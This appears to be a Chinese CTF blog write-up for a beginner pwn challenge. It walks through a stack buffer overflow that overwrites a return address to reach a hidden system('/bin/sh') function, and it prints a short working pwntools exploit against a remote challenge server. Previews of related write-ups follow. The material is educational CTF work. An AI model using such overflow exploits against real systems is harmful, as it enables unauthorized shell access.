老規矩哦,我們先checksec一下,收集一下資訊
唔,沒啥東西,繼續ida吧。(╯‵□′)╯︵┴─┴
emmm,主函式倒是挺簡單的,就一行列印,一行輸入
但…不知你們有公尺有發現有個很奇怪的函式名,我們悄悄的瞅一瞅
果然不對勁,首先它的名字中有個system(手動加粗),這個是什麼東西嘞,簡單的來說,它擁有系統的最高許可權,啥都能幹,而它和**「/bin/sh」**連在一起則可以給我提供乙個類似cmd的東西,我們可以用它來進行檢視/修改/操作等動作。
那麼總結一下,現在我們已經有了乙個可以獲取系統許可權的函式,利用它我們可以手動去查詢flag
那麼問題來了,我們應該如何讓程式去執行這個函式呢?
重點來了(敲黑板!!!)
我們觀察一下read函式讀取時讀取了多少東西(字元?位元組?以後填坑)
發現了麼?發現了麼?發現了麼?(重要的事情說三遍)
buf這個字元陣列的長度只有0x80,而我們可以輸入0x200的東西,哇,是不是很刺激,我們的輸入不但可以填充滿真個陣列還能覆蓋掉陣列外面的東西,那這樣又能幹什麼呢?
我們先看一下陣列後面緊跟的是什麼東西,繼續在棧中看
當屬於陣列的空間結束後(到0x0000000000000000時),首先,有乙個s,8個位元組長度,其次是乙個r,重點就在這,r中存放著的就是返回位址。即當read函式結束後,程式下一步要到的地方。
那這樣豈不是很美滋滋?我們可以輸入好長好長的資料,完全可以覆蓋這個r。ok了,分析完畢,上exp
from pwn import
* r = remote(
"111.198.29.45"
,34012
)payload =
'a'*
0x80
+'a'
*0x8
+ p64(
0x00400596
)r.recvuntil(
"hello, world\n"
)r.sendline(payload)
r.interactive(
)
瞅瞅結果?
搞完收工,我們下次見,揮揮
最後放一下我的部落格(www.buryia.top),有興趣的師傅們可以來逛逛
攻防世界pwn新手練習(level2)
可以看到題上已經有提示了 rop 我們看一下程式的保護狀態和它的運 況 開了nx,問題不大。執行可以發現有乙個輸入點 放ida裡看看 在字串視窗可以發現有 bin sh 並且左邊的函式視窗可以看到在.plt段有system函式 這就很舒服了呀,再結合一下題目給的提示,構造rop鏈就行,效果如下 具體...
攻防世界 crypto新手練習區
1 railfence 題目傳統型 假如有乙個字串 123456789 取字串長度的因數進行分組,假如key 3 1 2 3 分組情況,每三個數字一組,分為三組 4 5 6 7 8 9 然後每一組依次取乙個數字組成乙個新字串 147258369 加密完成的字串 123456 www型 同樣乙個字串 ...
pwn 練習6 攻防世界 level3
這個題做的蠻久的,老樣子,基本操作來一遍 通過ida分析後,沒有system函式,也沒有 bin sh這樣的字眼,但題目給了乙個動態庫,於是我們可以通過另乙個庫,來調出system bin sh 兩個呼叫的動態函式庫相同,所以write函式和system函式之間的位址差值是相同的,所以我們的目的是求...